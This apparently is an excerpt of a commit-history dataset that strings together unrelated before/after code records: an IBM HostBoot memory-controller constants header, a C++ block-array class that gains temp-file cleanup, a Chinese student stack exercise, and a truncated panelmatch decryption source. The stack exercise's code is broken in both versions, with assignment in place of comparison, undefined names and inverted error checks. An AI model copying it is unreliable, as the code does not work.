mss\n\n#endif\n<commit_msg>Add exp_draminit and fix data_structs constants<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/ocmb\/explorer\/procedures\/hwp\/memory\/lib\/shared\/exp_consts.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2018,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file explorer_check_for_ready.H\n\/\/\/ @brief explorer_check_for_ready HWP declaration\n\/\/\/\n\/\/ *HWP HWP Owner: Andre A. Marin <aamarin@us.ibm.com>\n\/\/ *HWP HWP Backup: Louis Stermole <stermole@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: CI\n\n#ifndef EXP_CONSTS_H\n#define EXP_CONSTS_H\n\nnamespace mss\n{\nnamespace exp\n{\n\nconstexpr uint32_t OCMB_ADDR_SHIFT = 3;\n\n\/\/\/\n\/\/\/ @brief explorer ffdc codes\n\/\/\/\nenum ffdc_codes\n{\n EXP_I2C_GET_FIELD = 0x0000,\n EXP_I2C_SET_FIELD = 0x0001,\n READ_HOST_FW_RESPONSE_STRUCT = 0x0003,\n READ_SENSOR_CACHE_STRUCT = 0x0004,\n};\n\nnamespace i2c\n{\n\n\/\/\/ @brief List of explorer I2C commands\n\/\/\/\nenum cmd_id : uint8_t\n{\n FW_BOOT_CONFIG = 0x01,\n FW_STATUS = 0x02,\n FW_REG_ADDR_LATCH = 0x03,\n FW_REG_READ = 0x04,\n FW_REG_WRITE = 0x05,\n FW_DOWNLOAD = 0x06,\n FW_CONT_REG_READ = 0x07,\n FW_CONT_REG_WRITE = 0x08,\n};\n\n\/\/\/\n\/\/\/ @brief common explorer sizes\n\/\/\/\nenum sizes\n{\n \/\/ 32-bit commands\n FW_BOOT_CONFIG_BYTE_LEN = 4,\n FW_STATUS_BYTE_LEN = 4,\n\n FW_WRITE_REG_DATA_SIZE = 0x08,\n FW_REG_ADDR_LATCH_SIZE = 0x04,\n FW_I2C_SCOM_READ_SIZE = 0x05,\n\n \/\/ Largest R\/W length for bytes of data\n MIN_DATA_BYTES_LEN = 1,\n MAX_DATA_BYTES_LEN = 32,\n};\n\n\/\/\/\n\/\/\/ @brief General I2C status codes\n\/\/\/ @note Shared I2C status codes for EXP_FW_REG_READ, EXP_FW_REG_WRITE,\n\/\/\/ EXP_FW_CONT_REG_READ, and EXP_FW_CONT_REG_WRITE\n\/\/\/\nenum status_codes\n{\n SUCCESS = 0x00,\n ADDRESS_OUT_OF_RANGE = 0x01,\n ADDRESS_PROHIBITED = 0x02,\n};\n\n\/\/\/\n\/\/\/ @brief status codes for FW_BOOT_CONFIG\n\/\/\/\nenum fw_boot_cfg_status\n{\n FW_BOOT_CFG_SUCCESS = status_codes::SUCCESS,\n\n \/\/ Loopback fail\n FW_BOOT_CFG_LB_FAIL = 0x01,\n \/\/ Transport layer fail\n FW_BOOT_CFG_UNSUPPORTED_TL = 0x02,\n \/\/ DL (data link) layer fail\n FW_BOOT_CFG_UNSUPPORTED_DL = 0x03,\n \/\/ SERDES (serializer\/deserializer) FREQ fail\n FW_BOOT_CFG_UNSUPPORTED_SERDES_FREQ = 0x04,\n};\n\n\/\/\/\n\/\/\/ @brief I2C boot stage options\n\/\/\/ @note certain cmds work in certain boot stages\n\/\/\/\nenum boot_stages\n{\n BOOT_ROM_STAGE = 0x01,\n FW_UPGRADE_MODE = 0x02,\n RUNTIME_FW = 0x03,\n};\n\n\/\/\/\n\/\/\/ @brief Useful constants for i2c scom functionality\n\/\/\/\n\/\/\/ @note FIRST_BYTE_MASK = allows us to mask off first by of\n\/\/\/ an address to check if its an IBM SCOM\n\/\/\/ LAST_THREE_BYTES_MASK = used as part of formula to translate\n\/\/\/ a given address to an IBM scom address\n\/\/\/ OCBM_UNCACHED_OFFSET = Also used as part of formula for translating\n\/\/\/ a given address to the correct IBM or microchip form\n\/\/\/ IBM_SCOM_OFFSET_LHS and IBM_SCOM_OFFSET_RHS are used in formula\n\/\/\/ for calculating IBM scom address for left and right side of addr\n\/\/\/ IBM_SCOM_INDICATOR is the indicator bit in the first byte of an\n\/\/\/ address that tells us if it is a IBM scom or not\n\/\/\/\nenum i2c_scom_consts : uint32_t\n{\n FIRST_BYTE_MASK = 0xFF000000,\n LAST_THREE_BYTES_MASK = 0x00FFFFFF,\n OCMB_UNCACHED_OFFSET = 0xA0000000,\n IBM_SCOM_OFFSET_LHS = 0x08000000,\n IBM_SCOM_OFFSET_RHS = 0x08000004,\n IBM_SCOM_INDICATOR = IBM_SCOM_OFFSET_LHS,\n};\n\n\/\/\/\n\/\/\/ @brief Simple enum allows code to pick between left and right\n\/\/\/\n\/\/\/ This is used when deciding if we are writing\/reading from left\n\/\/\/ side of IBM address or right side. This is needed because IBM\n\/\/\/ scoms are 64 bits while the OCMB only has 32 bit regs.\nenum addrSide\n{\n LHS = 0x00,\n RHS = 0x01\n};\n\n\n}\/\/ i2c\n\nnamespace omi\n{\n\n\/\/\/\n\/\/\/ @brief HOST-FW Commands and Responses\n\/\/\/\nenum cmd_and_response_id\n{\n FW_DDR_INTERFACE_INIT = 0x01,\n FW_TEMP_SENSOR_INIT = 0x02,\n FW_ERR_LOGGING_INTERFACE_INIT = 0x03,\n FW_GO_COMMAND = 0x04,\n FW_ADAPTER_PROPERTIES_GET = 0x05,\n FW_STATUS_GET = 0x06,\n FW_TEMPERATURE_GET = 0x07,\n FW_ERROR_LOG_GET = 0x08,\n FW_SPD_DATA_SET = 0x09,\n FW_BINARY_UPGRADE = 0x0A,\n FW_FLASH_LOADER_VERSION_INFO = 0x0B,\n};\n\n\/\/\/\n\/\/\/ @brief Response argument parameters\n\/\/\/\nenum response_arg\n{\n SUCCESS = 0,\n ERROR_CODE = 1,\n};\n\n}\/\/ omi\n\n}\/\/ exp\n}\/\/ mss\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>class BlockArray {\n \/\/ double complex data[zblock=0..NB-1][yblock=0..NB-1]\n \/\/ [arr=0..1][zresidual=0..P-1][yresidual=0..P-1][x=0..PPD-1]\n unsigned long long size;\n Complx *arr; \/\/ But this array may never be allocated!\n\npublic:\n int ppd, numblock, block;\n long long unsigned int narray; \/\/ Make uint64 to avoid overflow in later calculations\n char TMPDIR[1024];\n int ramdisk;\n BlockArray(int _ppd, int _numblock, int _narray, char *_dir, int ramdisk) {\n ppd = _ppd;\n numblock = _numblock;\n block = ppd\/numblock;\n narray = _narray;\n strcpy(TMPDIR,_dir);\n arr = NULL;\n assert(ppd%2==0); \/\/ PPD must be even, due to incomplete Nyquist code\n assert(numblock%2==0); \/\/ Number of blocks must be even\n assert(ppd==numblock*block); \/\/ We'd like the blocks to divide evenly\n size = 1llu*ppd*ppd*ppd*narray;\n#ifndef DISK\n arr = new Complx[size];\n#elif defined DIRECTIO\n fileoffset = 0;\n diskbuffer = 1024*512; \/\/ Magic number pulled from io_dio.cpp\n ramdisk = 0;\n#endif\n }\n ~BlockArray() { \n delete []arr;\n }\n\n \/\/ Complx *point(int a, int z, int y, int x) {\n \/\/ \/\/ Return a pointer to this part of the buffer\n \/\/ int zblock = z\/block;\n \/\/ int yblock = y\/block;\n \/\/ return arr+x+ppd*(y-block*yblock+block*(z-block*zblock+block*(a+narray*(yblock+numblock*zblock))));\n \/\/ }\n\n#ifdef DISK\n#ifdef DIRECTIO\n \/\/ These routines are for DIRECTIO\nprivate:\n char filename[200];\n off_t fileoffset;\n int diskbuffer;\npublic:\n void bopen(int yblock, int zblock, const char *mode) {\n \/\/ DirectIO actually opens and closes the files on demand, so we don't need to open the file here\n assert(yblock>=0&&yblock<numblock);\n assert(zblock>=0&&zblock<numblock);\n sprintf(filename,\"%s\/zeldovich.%1d.%1d\",TMPDIR,yblock,zblock);\n FILE * outfile = fopen(filename,\"a\");\n assert(outfile != NULL);\n fclose(outfile);\n\n fileoffset = 0; \/\/ We're opening a new file, so reset the file offset\n return;\n }\n void bclose() { return; }\n void bwrite(Complx *buffer,int num) {\n \/\/ Write num Complx numbers to the buffer, increment the pointer\n WriteDirect WD(ramdisk, diskbuffer);\n int sizebytes = num*sizeof(Complx);\n WD.BlockingAppend(filename, (char*)buffer, sizebytes);\n }\n void bread(Complx *buffer,int num) {\n \/\/ Read num Complx numbers into the buffer, increment the pointer\n ReadDirect RD(ramdisk, diskbuffer);\n size_t sizebytes = num*sizeof(Complx);\n RD.BlockingRead( filename, (char*)buffer, sizebytes, fileoffset);\n fileoffset += sizebytes;\n }\n#else\n \/\/ These routines are for reading blocks on and off disk\nprivate: \n FILE *fp;\npublic:\n void bopen(int yblock, int zblock, const char *mode) {\n \/\/ Set up for reading or writing this block\n char filename[200];\n assert(yblock>=0&&yblock<numblock);\n assert(zblock>=0&&zblock<numblock);\n sprintf(filename,\"%s\/zeldovich.%1d.%1d\",TMPDIR,yblock,zblock);\n\n fp = fopen(filename,mode);\n if(fp ==NULL) printf(\"bad filename: %s\",filename);\n assert(fp!=NULL);\n \n return;\n }\n void bclose() { fclose(fp); return; }\n void bwrite(Complx *buffer,int num) {\n \/\/ Write num Complx numbers to the buffer, increment the pointer\n fwrite(buffer,sizeof(Complx),num,fp);\n }\n void bread(Complx *buffer,int num) {\n \/\/ Read num Complx numbers into the buffer, increment the pointer\n fread(buffer,sizeof(Complx),num,fp);\n }\n#endif\n#else\n \/\/ These routines are for reading in and out of a big array in memory\nprivate: \n Complx *IOptr;\npublic:\n void bopen(int yblock, int zblock, const char *mode) {\n \/\/ Set up for reading or writing this block\n assert(yblock>=0&&yblock<numblock);\n assert(zblock>=0&&zblock<numblock);\n IOptr = arr+(zblock*numblock+yblock)*(block*block*ppd*narray);\n return;\n }\n void bclose() { IOptr = NULL; return; }\n void bwrite(Complx *buffer,int num) {\n \/\/ Write num Complx numbers to the buffer, increment the pointer\n memcpy(IOptr,buffer,sizeof(Complx)*num); IOptr+=num;\n }\n void bread(Complx *buffer,int num) {\n \/\/ Read num Complx numbers into the buffer, increment the pointer\n memcpy(buffer,IOptr,sizeof(Complx)*num); IOptr+=num;\n }\n#endif\n};<commit_msg>Clean up tmp files<commit_after>class BlockArray {\n \/\/ double complex data[zblock=0..NB-1][yblock=0..NB-1]\n \/\/ [arr=0..1][zresidual=0..P-1][yresidual=0..P-1][x=0..PPD-1]\n unsigned long long size;\n Complx *arr; \/\/ But this array may never be allocated!\n\npublic:\n int ppd, numblock, block;\n long long unsigned int narray; \/\/ Make uint64 to avoid overflow in later calculations\n char TMPDIR[1024];\n int ramdisk;\n BlockArray(int _ppd, int _numblock, int _narray, char *_dir, int ramdisk) {\n ppd = _ppd;\n numblock = _numblock;\n block = ppd\/numblock;\n narray = _narray;\n strcpy(TMPDIR,_dir);\n arr = NULL;\n assert(ppd%2==0); \/\/ PPD must be even, due to incomplete Nyquist code\n assert(numblock%2==0); \/\/ Number of blocks must be even\n assert(ppd==numblock*block); \/\/ We'd like the blocks to divide evenly\n size = 1llu*ppd*ppd*ppd*narray;\n#ifndef DISK\n arr = new Complx[size];\n#elif defined DIRECTIO\n fileoffset = 0;\n diskbuffer = 1024*512; \/\/ Magic number pulled from io_dio.cpp\n ramdisk = 0;\n#endif\n }\n ~BlockArray() {\n#ifdef DISK\n \/\/ Clean up the \"zeldovich.*.*\" files\n for(int yblock = 0; yblock < numblock; yblock++){\n for(int zblock = 0; zblock < numblock; zblock++){\n sprintf(filename,\"%s\/zeldovich.%1d.%1d\",TMPDIR,yblock,zblock);\n remove(filename);\n }\n }\n#else\n delete []arr;\n#endif\n }\n\n \/\/ Complx *point(int a, int z, int y, int x) {\n \/\/ \/\/ Return a pointer to this part of the buffer\n \/\/ int zblock = z\/block;\n \/\/ int yblock = y\/block;\n \/\/ return arr+x+ppd*(y-block*yblock+block*(z-block*zblock+block*(a+narray*(yblock+numblock*zblock))));\n \/\/ }\n\n#ifdef DISK\n#ifdef DIRECTIO\n \/\/ These routines are for DIRECTIO\nprivate:\n char filename[1024];\n off_t fileoffset;\n int diskbuffer;\npublic:\n void bopen(int yblock, int zblock, const char *mode) {\n \/\/ DirectIO actually opens and closes the files on demand, so we don't need to open the file here\n assert(yblock>=0&&yblock<numblock);\n assert(zblock>=0&&zblock<numblock);\n sprintf(filename,\"%s\/zeldovich.%1d.%1d\",TMPDIR,yblock,zblock);\n FILE * outfile = fopen(filename,\"a\");\n assert(outfile != NULL);\n fclose(outfile);\n\n fileoffset = 0; \/\/ We're opening a new file, so reset the file offset\n return;\n }\n void bclose() { return; }\n void bwrite(Complx *buffer,int num) {\n \/\/ Write num Complx numbers to the buffer, increment the pointer\n WriteDirect WD(ramdisk, diskbuffer);\n int sizebytes = num*sizeof(Complx);\n WD.BlockingAppend(filename, (char*)buffer, sizebytes);\n }\n void bread(Complx *buffer,int num) {\n \/\/ Read num Complx numbers into the buffer, increment the pointer\n ReadDirect RD(ramdisk, diskbuffer);\n size_t sizebytes = num*sizeof(Complx);\n RD.BlockingRead( filename, (char*)buffer, sizebytes, fileoffset);\n fileoffset += sizebytes;\n }\n#else\n \/\/ These routines are for reading blocks on and off disk\nprivate: \n FILE *fp;\n char filename[1024];\npublic:\n void bopen(int yblock, int zblock, const char *mode) {\n \/\/ Set up for reading or writing this block\n assert(yblock>=0&&yblock<numblock);\n assert(zblock>=0&&zblock<numblock);\n sprintf(filename,\"%s\/zeldovich.%1d.%1d\",TMPDIR,yblock,zblock);\n\n fp = fopen(filename,mode);\n if(fp == NULL) printf(\"bad filename: %s\",filename);\n assert(fp!=NULL);\n \n return;\n }\n void bclose() { fclose(fp); return; }\n void bwrite(Complx *buffer,int num) {\n \/\/ Write num Complx numbers to the buffer, increment the pointer\n fwrite(buffer,sizeof(Complx),num,fp);\n }\n void bread(Complx *buffer,int num) {\n \/\/ Read num Complx numbers into the buffer, increment the pointer\n fread(buffer,sizeof(Complx),num,fp);\n }\n#endif\n#else\n \/\/ These routines are for reading in and out of a big array in memory\nprivate: \n Complx *IOptr;\npublic:\n void bopen(int yblock, int zblock, const char *mode) {\n \/\/ Set up for reading or writing this block\n assert(yblock>=0&&yblock<numblock);\n assert(zblock>=0&&zblock<numblock);\n IOptr = arr+(zblock*numblock+yblock)*(block*block*ppd*narray);\n return;\n }\n void bclose() { IOptr = NULL; return; }\n void bwrite(Complx *buffer,int num) {\n \/\/ Write num Complx numbers to the buffer, increment the pointer\n memcpy(IOptr,buffer,sizeof(Complx)*num); IOptr+=num;\n }\n void bread(Complx *buffer,int num) {\n \/\/ Read num Complx numbers into the buffer, increment the pointer\n memcpy(buffer,IOptr,sizeof(Complx)*num); IOptr+=num;\n }\n#endif\n};<|endoftext|>"} {"text":"<commit_before>#include<malloc.h> \n#include<stdio.h> \n#define OK 1\n#define ERROR 0\n#define STACK_INIT_SIZE 100 \/\/ 存储空间初始分配量\n#define STACKINCREMENT 10 \/\/ 存储空间分配增量\n\ntypedef int SElemType; \/\/ 定义栈元素类型\ntypedef int Status; \/\/ Status是函数的类型,其值是函数结果状态代码,如OK等\n\nstruct SqStack\n{\n SElemType *base; \/\/ 在栈构造之前和销毁之后,base的值为NULL\n SElemType *top; \/\/ 栈顶指针\n int stacksize; \/\/ 当前已分配的存储空间,以元素为单位\n\n Status InitStack() \n\t{ \n\t\/\/ 构造一个空栈S,该栈预定义大小为STACK_INIT_SIZE\n\t\/\/ 请补全代码\n\t\tbase=malloc(STACK_INIT_SIZE*(sizeof(SElemType)));\n\t\tif(base=NULL)return ERROR;\n\t\ttop=base+1;\n\t\tstacksize=STACK_INIT_SIZE;\n\n\t\treturn OK;\n\t}\n\n\tStatus Push(SElemType e) \n\t{\n\t\t\/\/ 在栈S中插入元素e为新的栈顶元素\n\t\t\/\/ 请补全代码\n\t\tif(top-base>=stacksize){\n\n\t\t\tbase=remalloc(base,(stacksize+STACKINCREMENT)*sizeof(Element));\n\n\t\t\tif(base==NULL){\n\n\t\t\t\treturn ERROR;\n\t\t\t}\n\t\t}else{\n\n\t\t\t*top=e;\n\t\t\ttop++;\n\t\t}\n\n\t\treturn OK;\n\t\t\n\t}\n\n\tStatus Pop(SElemType &e) \n\t{\n\t\t\/\/ 若栈不空,则删除S的栈顶元素,用e返回其值,并返回OK;否则返回ERROR\n\t\t\/\/ 请补全代码\n\t\tif( top-base<=1){\n\t\t\treturn ERROR;\n\t\t}\n\n\t\te=*(--top);\n\n\t\treturn OK;\n\t}\n\n\tStatus GetTop(SElemType &e) \n\t{ \n\t\/\/ 若栈不空,则用e返回S的栈顶元素,并返回OK;否则返回ERROR\n\t\/\/ 请补全代码\n\t\tif( top-base<=1){\n\t\t\treturn ERROR;\n\t\t}\n\n\t\te=*(top-1);\n\n\t\treturn OK;\n\n\n\t}\n\n\tint StackLength() \n\t{\n\t\/\/ 返回栈S的元素个数\n\t\/\/ 请补全代码\n\n\t\treturn top-base-1;\n\t\t\n\t}\n\n\tStatus StackTraverse(SqStack S)\n\t{\n\t\/\/ 从栈顶到栈底依次输出栈中的每个元素\n\t\tSElemType *p = (SElemType *)malloc(sizeof(SElemType)); \n\t\tp = *top; \/\/请填空\n\t\tif(StackLength() ==0 )printf(\"The Stack is Empty!\"); \/\/请填空\n\t\telse\n\t\t{\n\t\t\tprintf(\"The Stack is: \");\n\t\t\tp--;\n\t\t\twhile(p-base>1) \/\/请填空\n\t\t\t{\n\t\t\t\tprintf(\"%d \", *p);\n\t\t\t\tp--; \/\/请填空\n\t\t\t}\n\t\t}\n\t\tprintf(\"\\n\");\n\t\treturn OK;\n\t}\n}; \/\/ 顺序栈\n\n\t\n\nint main()\n{\n int a;\n SqStack S;\n\tSElemType x, e;\n if(S.InitStack()) \/\/ 判断顺序表是否创建成功,请填空\n{\n\tprintf(\"A Stack Has Created.\\n\");\n}\nwhile(1)\n\t{\n printf(\"1:Push \\n2:Pop \\n3:Get the Top \\n4:Return the Length of the Stack\\n5:Load the Stack\\n0:Exit\\nPlease choose:\\n\");\n\tscanf(\"%d\",&a);\n\t\tswitch(a)\n\t\t{\n\t\t\tcase 1: scanf(\"%d\", &x);\n\t\t if(S.Push(x)) printf(\"Push Error!\\n\"); \/\/ 判断Push是否合法,请填空\n\t\t else printf(\"The Element %d is Successfully Pushed!\\n\", x); \n\t\t break;\n\t\tcase 2: if(S.Pop(e)) printf(\"Pop Error!\\n\"); \/\/ 判断Pop是否合法,请填空\n\t\t\t else printf(\"The Element %d is Successfully Poped!\\n\", e);\n\t\t \t break;\n\t\tcase 3: if(S.top(e))printf(\"Get Top Error!\\n\"); \/\/ 判断Get Top是否合法,请填空\n\t\t\t else printf(\"The Top Element is %d!\\n\", e);\n\t\t \t break;\n\t\t\tcase 4: printf(\"The Length of the Stack is %d!\\n\",S.StackLength()); \/\/请填空\n\t\t\t\t break;\n\t\t\tcase 5: S.StackTraverse() \/\/请填空\n\t\t\t\t break;\n\t\t\tcase 0: return 1;\n\t\t}\n\t}\n}<commit_msg>update uoj8583<commit_after>#include<malloc.h> \n#include<stdio.h> \n#define OK 1\n#define ERROR 0\n#define STACK_INIT_SIZE 100 \/\/ 存储空间初始分配量\n#define STACKINCREMENT 10 \/\/ 存储空间分配增量\n\ntypedef int SElemType; \/\/ 定义栈元素类型\ntypedef int Status; \/\/ Status是函数的类型,其值是函数结果状态代码,如OK等\n\nstruct SqStack\n{\n SElemType *base; \/\/ 在栈构造之前和销毁之后,base的值为NULL\n SElemType *top; \/\/ 栈顶指针\n int stacksize; \/\/ 当前已分配的存储空间,以元素为单位\n\n Status InitStack() \n\t{ \n\t\/\/ 构造一个空栈S,该栈预定义大小为STACK_INIT_SIZE\n\t\/\/ 请补全代码\n\t\tbase=(SElemType*) malloc(STACK_INIT_SIZE*(sizeof(SElemType)));\n\t\tif(base=NULL)return ERROR;\n\t\ttop=base+1;\n\t\tstacksize=STACK_INIT_SIZE;\n\n\t\treturn OK;\n\t}\n\n\tStatus Push(SElemType e) \n\t{\n\t\t\/\/ 在栈S中插入元素e为新的栈顶元素\n\t\t\/\/ 请补全代码\n\t\tif(top-base>=stacksize){\n\n\t\t\tbase=realloc(base,(stacksize+STACKINCREMENT)*sizeof(SElement));\n\n\t\t\tif(base==NULL){\n\n\t\t\t\treturn ERROR;\n\t\t\t}\n\t\t}else{\n\n\t\t\t*top=e;\n\t\t\ttop++;\n\t\t}\n\n\t\treturn OK;\n\t\t\n\t}\n\n\tStatus Pop(SElemType &e) \n\t{\n\t\t\/\/ 若栈不空,则删除S的栈顶元素,用e返回其值,并返回OK;否则返回ERROR\n\t\t\/\/ 请补全代码\n\t\tif( top-base<=1){\n\t\t\treturn ERROR;\n\t\t}\n\n\t\te=*(--top);\n\n\t\treturn OK;\n\t}\n\n\tStatus GetTop(SElemType &e) \n\t{ \n\t\/\/ 若栈不空,则用e返回S的栈顶元素,并返回OK;否则返回ERROR\n\t\/\/ 请补全代码\n\t\tif( top-base<=1){\n\t\t\treturn ERROR;\n\t\t}\n\n\t\te=*(top-1);\n\n\t\treturn OK;\n\n\n\t}\n\n\tint StackLength() \n\t{\n\t\/\/ 返回栈S的元素个数\n\t\/\/ 请补全代码\n\n\t\treturn top-base-1;\n\t\t\n\t}\n\n\tStatus StackTraverse(SqStack S)\n\t{\n\t\/\/ 从栈顶到栈底依次输出栈中的每个元素\n\t\tSElemType *p = (SElemType *)malloc(sizeof(SElemType)); \n\t\tp = *top; \/\/请填空\n\t\tif(StackLength() ==0 )printf(\"The Stack is Empty!\"); \/\/请填空\n\t\telse\n\t\t{\n\t\t\tprintf(\"The Stack is: \");\n\t\t\tp--;\n\t\t\twhile(p-base>1) \/\/请填空\n\t\t\t{\n\t\t\t\tprintf(\"%d \", *p);\n\t\t\t\tp--; \/\/请填空\n\t\t\t}\n\t\t}\n\t\tprintf(\"\\n\");\n\t\treturn OK;\n\t}\n}; \/\/ 顺序栈\n\n\t\n\nint main()\n{\n int a;\n SqStack S;\n\tSElemType x, e;\n if(S.InitStack()) \/\/ 判断顺序表是否创建成功,请填空\n{\n\tprintf(\"A Stack Has Created.\\n\");\n}\nwhile(1)\n\t{\n printf(\"1:Push \\n2:Pop \\n3:Get the Top \\n4:Return the Length of the Stack\\n5:Load the Stack\\n0:Exit\\nPlease choose:\\n\");\n\tscanf(\"%d\",&a);\n\t\tswitch(a)\n\t\t{\n\t\t\tcase 1: scanf(\"%d\", &x);\n\t\t if(S.Push(x)) printf(\"Push Error!\\n\"); \/\/ 判断Push是否合法,请填空\n\t\t else printf(\"The Element %d is Successfully Pushed!\\n\", x); \n\t\t break;\n\t\tcase 2: if(S.Pop(e)) printf(\"Pop Error!\\n\"); \/\/ 判断Pop是否合法,请填空\n\t\t\t else printf(\"The Element %d is Successfully Poped!\\n\", e);\n\t\t \t break;\n\t\tcase 3: if(S.top(e))printf(\"Get Top Error!\\n\"); \/\/ 判断Get Top是否合法,请填空\n\t\t\t else printf(\"The Top Element is %d!\\n\", e);\n\t\t \t break;\n\t\t\tcase 4: printf(\"The Length of the Stack is %d!\\n\",S.StackLength()); \/\/请填空\n\t\t\t\t break;\n\t\t\tcase 5: S.StackTraverse() \/\/请填空\n\t\t\t\t break;\n\t\t\tcase 0: return 1;\n\t\t}\n\t}\n}<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2021 The Cross-Media Measurement Authors\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"wfa\/panelmatch\/client\/privatemembership\/decrypt_query_results.h\"\n\n#include <memory>\n#include <string>\n#include <utility>\n\n#include \"absl\/memory\/memory.h\"\n#include \"absl\/status\/status.h\"\n#include \"absl\/status\/statusor.h\"\n#include \"common_cpp\/macros\/macros.h\"\n#include \"google\/protobuf\/repeated_field.h\"\n#include \"private_membership\/rlwe\/batch\/cpp\/client\/client.h\"\n#include \"private_membership\/rlwe\/batch\/proto\/client.pb.h\"\n#include \"private_membership\/rlwe\/batch\/proto\/shared.pb.h\"\n#include \"wfa\/panelmatch\/client\/exchangetasks\/join_key.pb.h\"\n#include \"wfa\/panelmatch\/client\/privatemembership\/event_data_decryptor.h\"\n#include \"wfa\/panelmatch\/client\/privatemembership\/query.pb.h\"\n#include \"wfa\/panelmatch\/common\/compression\/compressor.h\"\n#include \"wfa\/panelmatch\/common\/compression\/make_compressor.h\"\n\nnamespace wfa::panelmatch::client::privatemembership {\n\nnamespace {\nusing ClientEncryptedQueryResult =\n ::private_membership::batch::EncryptedQueryResult;\nusing ClientDecryptedQueryResult =\n ::private_membership::batch::DecryptedQueryResult;\nusing ClientDecryptQueriesRequest =\n ::private_membership::batch::DecryptQueriesRequest;\nusing ClientDecryptQueriesResponse =\n ::private_membership::batch::DecryptQueriesResponse;\nusing ::private_membership::batch::DecryptQueries;\n\nabsl::StatusOr<ClientDecryptQueriesResponse> RemoveRlwe(\n const DecryptQueryResultsRequest& request) {\n ClientDecryptQueriesRequest client_decrypt_queries_request;\n client_decrypt_queries_request.mutable_parameters()->ParseFromString(\n request.serialized_parameters());\n client_decrypt_queries_request.mutable_private_key()->ParseFromString(\n request.serialized_private_key());\n client_decrypt_queries_request.mutable_public_key()->ParseFromString(\n request.serialized_public_key());\n for (const EncryptedQueryResult& encrypted_query_result :\n request.encrypted_query_results()) {\n client_decrypt_queries_request.add_encrypted_queries()->ParseFromString(\n encrypted_query_result.serialized_encrypted_query_result());\n }\n return DecryptQueries(client_decrypt_queries_request);\n}\n\nabsl::StatusOr<DecryptedEventDataSet> RemoveAesFromDecryptedQueryResult(\n const ClientDecryptedQueryResult& client_decrypted_query_result,\n const std::string& lookup_key, const std::string& hkdf_pepper) {\n DecryptEventDataRequest decrypt_event_data_request;\n decrypt_event_data_request.set_hkdf_pepper(hkdf_pepper);\n decrypt_event_data_request.mutable_lookup_key()->set_key(lookup_key);\n EncryptedEventData encrypted_event_data;\n encrypted_event_data.ParseFromString(client_decrypted_query_result.result());\n decrypt_event_data_request.mutable_encrypted_event_data_set()\n ->mutable_query_id()\n ->set_id(client_decrypted_query_result.query_metadata().query_id());\n *decrypt_event_data_request.mutable_encrypted_event_data_set()\n ->mutable_encrypted_event_data()\n ->mutable_ciphertexts() =\n *std::move(encrypted_event_data.mutable_ciphertexts());\n return DecryptEventData(decrypt_event_data_request);\n}\n\nabsl::StatusOr<DecryptQueryResultsResponse> RemoveAes(\n const DecryptQueryResultsRequest& request,\n const ClientDecryptQueriesResponse& client_decrypt_queries_response) {\n DecryptQueryResultsResponse result;\n for (const ClientDecryptedQueryResult& client_decrypted_query_result :\n client_decrypt_queries_response.result()) {\n ASSIGN_OR_RETURN(\n *result.add_event_data_sets(),\n RemoveAesFromDecryptedQueryResult(client_decrypted_query_result,\n request.decrypted_join_key().key(),\n request.hkdf_pepper()));\n }\n return result;\n}\n\nabsl::Status Decompress(const CompressionParameters& compression_parameters,\n DecryptQueryResultsResponse& response) {\n ASSIGN_OR_RETURN(std::unique_ptr<Compressor> compressor,\n MakeCompressor(compression_parameters));\n for (auto& data_set : *response.mutable_event_data_sets()) {\n for (Plaintext& plaintext : *data_set.mutable_decrypted_event_data()) {\n ASSIGN_OR_RETURN(*plaintext.mutable_payload(),\n compressor->Decompress(plaintext.payload()));\n }\n }\n return absl::OkStatus();\n}\n} \/\/ namespace\n\nabsl::StatusOr<DecryptQueryResultsResponse> DecryptQueryResults(\n const DecryptQueryResultsRequest& request) {\n \/\/ Step 1: Decrypt the encrypted query response\n ASSIGN_OR_RETURN(ClientDecryptQueriesResponse client_decrypt_queries_response,\n RemoveRlwe(request));\n\n \/\/ If this is for a padding query, don't attempt to remove AES or decompress.\n \/\/ TODO(efoxepstein@): padding queries should be signalled explicitly.\n \/\/ Rather than detecting them based on the JKI, we should just have a boolean\n \/\/ flag in `request`.\n absl::string_view join_key_identifier = request.decrypted_join_key().key();\n if (join_key_identifier.empty() ||\n join_key_identifier.substr(0, 14) == \"padding-query:\") {\n DecryptQueryResultsResponse result;\n for (const ClientDecryptedQueryResult& client_decrypted_query_result :\n client_decrypt_queries_response.result()) {\n DecryptedEventDataSet* decrypted_data_set = result.add_event_data_sets();\n decrypted_data_set->mutable_query_id()->set_id(\n client_decrypted_query_result.query_metadata().query_id());\n decrypted_data_set->add_decrypted_event_data()->set_payload(\n client_decrypted_query_result.result());\n }\n return result;\n }\n\n \/\/ Step 2: Decrypt the encrypted event data\n ASSIGN_OR_RETURN(DecryptQueryResultsResponse result,\n RemoveAes(request, client_decrypt_queries_response));\n\n \/\/ Step 3: Decompress the decrypted event data\n 